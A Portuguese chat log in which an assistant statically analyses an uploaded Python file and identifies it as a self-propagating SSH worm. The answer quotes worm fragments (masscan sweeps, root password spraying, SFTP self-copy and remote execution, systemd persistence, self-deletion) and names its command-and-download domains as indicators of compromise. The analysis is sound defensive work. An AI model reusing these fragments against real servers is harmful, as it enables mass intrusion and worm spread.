You said:

codigo.py
Code

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Worked for 1m 16s

ChatGPT said:

Análise de segurança do arquivo `codigo.py`

MALWARE — ALTA CONFIANÇA

Veredito preliminar: o arquivo é malicioso. A análise estática identifica características de um malware do tipo **worm SSH**, com funcionalidades de varredura de servidores, tentativa de acesso por senhas predefinidas, propagação automática e persistência no sistema.

O comportamento não se limita a uma ferramenta administrativa de monitoramento: o código procura servidores acessíveis pela Internet, tenta obter acesso como `root` e, quando consegue, instala e executa uma cópia de si mesmo na máquina remota.

A seguir, detalho as evidências e o funcionamento.

1. Identificação e estrutura

O arquivo possui 1.222 linhas e aproximadamente 53,7 KB.

A análise sintática com `ast.parse()` foi concluída sem erros. Isso confirma que o código Python pode ser interpretado sintaticamente, mas não significa que seja seguro.

O programa reúne quatro componentes principais:

Componente	Finalidade observada
Scanner SSH	Localizar servidores e testar credenciais.
Filtragem de IPs	Evitar repetir determinados alvos.
Monitor e propagador	Conectar-se a servidores comprometidos e instalar uma cópia do programa.
Instalador principal	Configurar serviços persistentes no Linux.

A organização em componentes pode dar aparência de ferramenta legítima de administração, mas o fluxo completo revela uma finalidade muito diferente. codigo.py

2. Análise passo a passo

Etapa 1 — Preparação de diretórios e disfarce

O código define os seguintes diretórios:

```
SCANNER_DIR = "/usr/lib/.sysd-scan/"
SCANNER_DATA_DIR = "/var/lib/.sysd-data/"
PROVISIONER_DIR = "/usr/lib/.sysd-monitor"
```

Os nomes começam com ponto, tornando os diretórios ocultos em listagens comuns do Linux.

Além disso, utiliza nomes que lembram componentes internos do sistema, como `sysd-scan` e `sysd-monitor`.

Indicador suspeito: ocultação da estrutura do programa em diretórios do sistema, dificultando sua identificação por um administrador desatento. codigo.py

Etapa 2 — Varredura de servidores na Internet

O programa cria um scanner que utiliza a ferramenta `masscan`.

No script `run_scan.sh`, encontramos:

```
PORTS="22,5522"
MAX_RATE=5000
```

E a execução:

```
masscan --exclude 255.255.255.255 \
-p"$PORTS" --max-rate "$MAX_RATE" \
-oG "$MASSCAN_OUTPUT_FILE" -iL "$IP_RANGES_FILE"
```

Isso indica que o programa:

- Lê faixas de endereços IP de um arquivo externo.
- Procura servidores com as portas SSH 22 e 5522 abertas.

- Realiza varreduras em alta velocidade.
- Repete continuamente o procedimento.

Esse comportamento é compatível com reconhecimento de infraestrutura para comprometimento automatizado de servidores. codigo.py codigo.py

Etapa 3 — Tentativa de autenticação SSH

O arquivo contém um módulo chamado `ssh_scanner.py`, baseado na biblioteca Paramiko.

O trecho mais relevante é:

```
ssh.connect(
    hostname=ip,
    port=port,
    username=username,
    password=password,
    timeout=SSH_TIMEOUT,
    banner_timeout=SSH_TIMEOUT,
    look_for_keys=False,
    allow_agent=False
)
```

O programa tenta autenticar-se diretamente nos servidores encontrados.

O usuário padrão é `root`, e o script principal executa duas instâncias do scanner, utilizando duas senhas predefinidas.

Não se trata de uma tentativa isolada de conexão administrativa: o procedimento é aplicado em massa a todos os alvos identificados.

Isso caracteriza uma operação de *password spraying* (tentativa de uma ou poucas senhas contra muitos servidores). codigo.py codigo.py codigo.py

Etapa 4 — Armazenamento dos servidores vulneráveis

Quando a autenticação é bem-sucedida, o scanner registra o endereço IP e a porta em arquivos separados.

Os arquivos são armazenados em:

```
/var/lib/.sysd-data/
```

O monitor posterior utiliza esses resultados para tentar acessar os servidores.

Portanto, o scanner funciona como uma etapa de descoberta e coleta de alvos para a etapa de propagação. codigo.py codigo.py

Etapa 5 — Monitoramento dos resultados e preparação da propagação

O código contém um segundo programa, chamado `monitor_script.py`.

Ele monitora os arquivos produzidos pelo scanner e utiliza credenciais predefinidas para tentar acessar os servidores encontrados.

Um trecho particularmente importante:

```
with open(file_path, 'r', encoding='utf-8') as f:
    target_host_info = f.read().strip()
```

Em seguida, tenta estabelecer uma conexão SSH como `root`:

```
ssh_client.connect(
    hostname=host_ip,
    port=int(port_str),
    username=TARGET_SERVER_USERNAME,
    password=password,
    timeout=20
)
```

O monitor testa as senhas disponíveis até conseguir autenticação.

Significado: o programa não apenas procura servidores com SSH aberto. Ele tenta efetivamente obter acesso administrativo às máquinas encontradas. codigo.py

Etapa 6 — Cópia e execução do próprio malware em servidores remotos

Esta é uma das evidências mais fortes de comportamento malicioso.

O programa lê seu próprio código e o armazena na variável `bendi_py_source_code`:

```
with open(__file__, 'r', encoding='utf-8') as f:
    bendi_py_source_code = f.read()
```

Posteriormente, o monitor utiliza SFTP para transferir uma cópia desse código para o servidor comprometido:

```
REMOTE_PAYLOAD_PATH = "/tmp/bendi.py"

with sftp.file(REMOTE_PAYLOAD_PATH, 'w') as f:
    f.write(payload_content_to_upload)
```

Depois, executa remotamente:

```
python3 /tmp/bendi.py
```

O código também tenta instalar o Python 3 na máquina de destino caso ele não esteja disponível.

O resultado pretendido é que o servidor comprometido passe a executar o mesmo mecanismo de varredura e propagação.

Evidência de propagação automática

Isso caracteriza um comportamento de *worm* (verme): o programa tenta comprometer outras máquinas e reproduzir-se nelas, sem depender de uma nova execução manual pelo operador em cada servidor. codigo.py codigo.py codigo.py

Etapa 7 — Comunicação com infraestrutura externa

O código define um serviço central:

```
CENTRAL_API_BASE = "https://sou.pp.ua"
```

Ele utiliza dois endpoints:

- `check_ip.php` : verifica se um servidor já foi processado.
- `add_ip.php` : registra um servidor após a operação.

Isso permite manter um registro centralizado dos alvos já tratados e evitar trabalho repetido. codigo.py codigo.py

O programa também envia relatórios por meio da API do Telegram.

Os relatórios podem conter:

- Identificação do servidor de origem.
- Endereço do servidor acessado.
- Horário da operação.
- Usuário utilizado.
- Senha que conseguiu autenticar.
- Resultado das operações remotas.

O arquivo contém um token de bot do Telegram e um identificador de conversa fixos. Esses dados são credenciais sensíveis e não devem ser publicados nem reutilizados.

codigo.py codigo.py codigo.py

Observação: o código demonstra envio de notificações ao Telegram, mas não demonstra, por si só, recebimento de comandos do Telegram para controlar remotamente o malware.

Etapa 8 — Persistência através do systemd

O instalador cria dois serviços:

```
scan-runner.service
file-monitor.service
```

Ambos são configurados com:

```
User=root
Restart=always
RestartSec=10
```

Além disso, são habilitados para inicialização automática:

```
systemctl enable scan-runner.service
systemctl restart scan-runner.service

systemctl enable file-monitor.service
systemctl restart file-monitor.service
```

Isso significa que os componentes são executados com privilégios de administrador e configurados para reiniciar automaticamente caso sejam interrompidos.

Essa técnica caracteriza persistência no sistema operacional. codigo.py codigo.py

Etapa 9 — Instalação de outros programas sem validação criptográfica

O instalador também baixa dois scripts externos:

```
https://del.sou.pp.ua/install.sh
https://del.sou.pp.ua/install_tm.sh
```

Depois, executa os scripts baixados utilizando Bash.

O primeiro é identificado como instalador do Komari Agent. O segundo é utilizado para instalar outro programa denominado `tm`.

O mecanismo de validação verifica basicamente o código HTTP e se o arquivo não está vazio. Não há verificação de assinatura digital ou hash confiável antes da execução.

Isso é preocupante porque permite executar código externo com os privilégios do usuário que está instalando o programa — neste caso, `root`.

Não é possível determinar, apenas pelo arquivo analisado, todas as ações executadas pelos dois scripts externos. codigo.py codigo.py

Etapa 10 — Exclusão do próprio instalador

Ao concluir a instalação, o programa executa:

```
command = f"sleep 2 && rm -- '{this_script_path}'"
subprocess.Popen(['sh', '-c', command], close_fds=True)
```

Ou seja, após configurar os serviços, tenta apagar o próprio arquivo utilizado para a instalação.

Essa ação dificulta a identificação posterior da origem da instalação e é um indicador adicional de comportamento suspeito. codigo.py

Etapa 11 — Impactos adicionais e falhas de implementação

Além das funcionalidades anteriores, identifiquei alguns aspectos importantes:

1. Interferência no gerenciador de pacotes

O código pode executar:

```
killall apt apt-get dpkg
```

Também remove arquivos de bloqueio do APT e do DPKG, tentando forçar a continuidade da instalação.

Isso pode interromper atualizações legítimas e causar problemas no gerenciamento de pacotes do servidor. codigo.py

2. Possível falha na propagação

Existe um erro de implementação no monitor: ele lê o conteúdo inteiro de cada arquivo de resultados, em vez de processar cada linha individualmente.

Como o scanner pode registrar vários servidores no mesmo arquivo, a conversão da porta para inteiro pode falhar quando existem vários registros.

Isso pode impedir a propagação em determinados casos, mas não altera a finalidade maliciosa demonstrada pelo código. codigo.py codigo.py

3. Ausência de validação do servidor SSH

O uso de `paramiko.AutoAddPolicy()` aceita automaticamente chaves de servidores SSH desconhecidos, sem exigir uma verificação prévia de identidade.

Embora isso não seja malicioso isoladamente, é uma prática insegura neste contexto. codigo.py

3. Indicadores de comprometimento (IoCs)

Caso esse programa tenha sido executado em algum servidor, estes são os principais elementos que devem ser investigados:

Indicador	Descrição
`/usr/lib/.sysd-scan/`	Diretório do scanner
`/usr/lib/.sysd-monitor/`	Diretório do monitor e propagador
`/var/lib/.sysd-data/`	Armazenamento dos resultados
`/var/log/.sysd-monitor.log`	Log do monitor
`scan-runner.service`	Serviço persistente de varredura

`file-monitor.service`	Serviço persistente de propagação
`/tmp/bendi.py`	Arquivo utilizado na propagação remota
`sou.pp.ua`	Infraestrutura de API central
`del.sou.pp.ua`	Origem dos arquivos e scripts externos

Também devem ser investigadas conexões SSH de saída em massa para as portas 22 e 5522.

Esses são indicadores derivados do código; a presença deles no sistema precisa ser verificada separadamente.

4. Classificação técnica

Classificação principal Malware

SSH Worm

Verme de propagação automática por SSH

Característica	Identificação
Categoria principal	Worm
Mecanismo de acesso	Password spraying SSH
Propagação	Cópia e execução remota
Persistência	Serviços systemd
Privilégios	Root
Comunicação externa	API HTTP e Telegram
Instalação adicional	Scripts externos
Autorreprodução	Sim, por cópia do próprio código

5. Veredito final

ARQUIVO MALICIOSO

WORM SSH

Confiança da classificação: muito alta.

O arquivo implementa um mecanismo de comprometimento automatizado de servidores Linux, utilizando tentativas de autenticação SSH com credenciais predefinidas e propagando sua própria instalação para máquinas acessíveis.

As três evidências decisivas são:

1. Varredura em massa de endereços IP e tentativa automatizada de autenticação SSH como `root`.
2. Transferência do próprio código para servidores acessados e execução remota desse código.
3. Instalação de serviços systemd com inicialização automática e reinicialização permanente.

O conjunto dessas funcionalidades é incompatível com uma ferramenta administrativa convencional, especialmente pela tentativa de acesso a múltiplos servidores e pela reprodução automática em máquinas remotas.

Minha conclusão: `codigo.py` é um malware do tipo **SSH Worm**, com características de botnet e mecanismos de persistência. Não deve ser executado.

A análise foi estática: não executei o arquivo nem baixei os scripts externos. Portanto, não estou atribuindo funcionalidades adicionais a esses componentes que não possam ser demonstradas pelo código.

Recomendação: caso já tenha sido executado como root, trate o servidor como potencialmente comprometido. Isole-o da rede, revogue o token do Telegram exposto no código, altere as credenciais SSH e investigue possíveis servidores infectados. Apagar somente o arquivo original não seria suficiente para remover os serviços persistentes e eventuais cópias remotas.

You said:

Qual é a categoria principal deste malware?

ChatGPT said:

A categoria principal é **Worm (verme de computador)**, especificamente um **SSH Worm**.

Ele automatiza a descoberta de servidores, tenta acessar máquinas por SSH usando senhas predefinidas e copia e executa seu próprio código nos servidores comprometidos, permitindo sua propagação automática.